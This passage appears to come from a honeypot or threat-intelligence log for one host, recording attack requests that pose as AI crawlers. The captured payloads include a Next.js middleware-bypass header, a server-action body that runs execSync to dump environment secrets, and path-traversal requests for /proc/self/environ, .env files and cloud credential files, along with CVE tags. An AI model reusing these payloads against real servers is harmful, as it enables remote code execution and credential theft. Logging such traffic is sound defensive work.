+https://openai.com/gptbot","ja3":"6cf84dfcf69590c89560cfcfe946cdbe","session":"f8ff210e-f7d6-442c-a1ef-4c3274635f95","seq":35,"duration_ms":12689,"bytes_in":20187,"bytes_out":2730},{"timestamp":"2026-10-17T10:23:35","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept\":\"text/x-component\",\"accept-encoding\":\"gzip\",\"content-length\":\"94\",\"content-type\":\"text/x-component\",\"host\":\"sites.princhub.com\",\"next-action\":\"cachefn\",\"next-router-state-tree\":\"[\\\"\\\",{\\\"children\\\":[\\\"__PAGE__\\\",{}]}]\",\"rsc\":\"1\",\"user-agent\":\"Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)\",\"x-middleware-subrequest\":\"src/middleware:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:middleware:middleware:middleware\"}","body":"0:[\"$SR\",\"child_process\",\"execSync\",[\"env 2>/dev/null || cat /proc/self/environ 2>/dev/null\"]]","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20636f686572652d61693b202b68747470733a2f2f636f686572652e636f6d2f637261776c6572290d0a436f6e74656e742d4c656e6774683a2039340d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a436f6e74656e742d547970653a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a206361636865666e0d0a4e6578742d526f757465722d53746174652d547265653a205b22222c7b226368696c6472656e223a5b225f5f504147455f5f222c7b7d5d7d5d0d0a5273633a20310d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172650d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a303a5b22245352222c226368696c645f70726f63657373222c226578656353796e63222c5b22656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c225d5d","method":"POST","user_agent":"Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)","ja3":"6cf84dfcf69590c89560cfcfe946cdbe","session":"f8ff210e-f7d6-442c-a1ef-4c3274635f95","seq":34,"duration_ms":12375,"bytes_in":19452,"bytes_out":2652}],"http_methods":[{"method":"GET","count":358},{"method":"POST","count":25}],"distinct_ports_total":1,"top_paths":[{"path":"/","count":4,"ports":1},{"path":"/app","count":3,"ports":1},{"path":"/api","count":3,"ports":1},{"path":"/.env.production.local","count":1,"ports":1},{"path":"/.env.example","count":1,"ports":1},{"path":"/__vite_rsc_findSourceMapURL?filename=file:///root/.aws/credentials&environmentName=rsc","count":1,"ports":1},{"path":"/public/plugins/alertlist/../../../../../../../../proc/self/environ","count":1,"ports":1},{"path":"/static/../../../a/../../../../proc/self/environ","count":1,"ports":1},{"path":"/api/system/fileView?file=/proc/self/environ","count":1,"ports":1},{"path":"/.env.development::$DATA?raw","count":1,"ports":1},{"path":"/static/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f.env","count":1,"ports":1},{"path":"/@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw??","count":1,"ports":1},{"path":"/resources/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f.env","count":1,"ports":1},{"path":"/api/w/default/jobs_u/get_log_file/../../../../proc/self/environ","count":1,"ports":1},{"path":"/.config/gcloud/application_default_credentials.json","count":1,"ports":1}],"distinct_paths_total":200,"top_snis":[{"value":"sites.princhub.com","count":383}],"top_hosts":[{"value":"sites.princhub.com","count":383}],"top_alpns":[{"value":"h2, http/1.1","count":383}],"banners":[],"credentials":[{"username":"","password":"bypass","count":4}],"header_profile":{"signature":["Accept","Accept-Encoding","Content-Length","Content-Type","Host","Next-Action","Next-Router-State-Tree","Rsc","User-Agent","X-Middleware-Subrequest"],"representative":[{"name":"Accept","value":"text/x-component","notable":false},{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Content-Length","value":"227","notable":false},{"name":"Content-Type","value":"text/x-component","notable":true},{"name":"Host","value":"sites.princhub.com","notable":false},{"name":"Next-Action","value":"cachefn","notable":false},{"name":"Next-Router-State-Tree","value":"[\"\",{\"children\":[\"__PAGE__\",{}]}]","notable":false},{"name":"Rsc","value":"1","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot","notable":false},{"name":"X-Middleware-Subrequest","value":"src/middleware:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:middleware:middleware:middleware","notable":true}],"distinct_sets":2,"events_with_headers":10},"tags":[{"tag_id":"CVE-2021-41773","tag_type":"cve","title":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/icons/.%2e/.%2e","reference_urls":["https://nvd.nist.gov/vuln/detail/CVE-2021-41773","https://httpd.apache.org/security/vulnerabilities_24.html","https://www.exploit-db.com/exploits/50383","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-41773"],"kev_date_added":"2021-11-03"},{"tag_id":"CVE-2021-43798","tag_type":"cve","title":"Grafana v8.x - Arbitrary File Read","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/public/plugins","reference_urls":["https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p","https://nosec.org/home/detail/4914.html","https://github.com/jas502n/Grafana-VulnTips","https://nvd.nist.gov/vuln/detail/CVE-2021-43798","http://packetstormsecurity.com/files/165198/Grafana-Arbitrary-File-Reading.html"],"kev_date_added":"2025-10-09"},{"tag_id":"CVE-2026-89013","tag_type":"cve","title":"Dolibarr < 24.0.0 - Authorization Bypass via hashp Parameter","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/document.php","reference_urls":["https://github.com/Faceless0x7/CVE-2026-89013","https://github.com/Dolibarr/dolibarr/commit/cd05688dbed8a4af6eef32faf4fc1e823a37bce9","https://github.com/Dolibarr/dolibarr/commit/a8bc4a63e1b6356884abcd83c4a38954d9649b0b","https://github.com/Dolibarr/dolibarr/commit/3bd8aa8b909e596d7dab4388d0466ec24e6ad191","https://github.com/Dolibarr/dolibarr/releases/tag/24.0.1"],"kev_date_added":null},{"tag_id":"CVE-2024-56159","tag_type":"cve","title":"Astro - Information Disclosure","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/pages/index.astro.mjs.map","reference_urls":["https://github.com/withastro/astro/security/advisories/GHSA-49w6-73cw-chjr","https://nvd.nist.gov/vuln/detail/CVE-2024-56159"],"kev_date_added":null}],"data_as_of":"2026-10-20T12:02:26.534347+00:00"}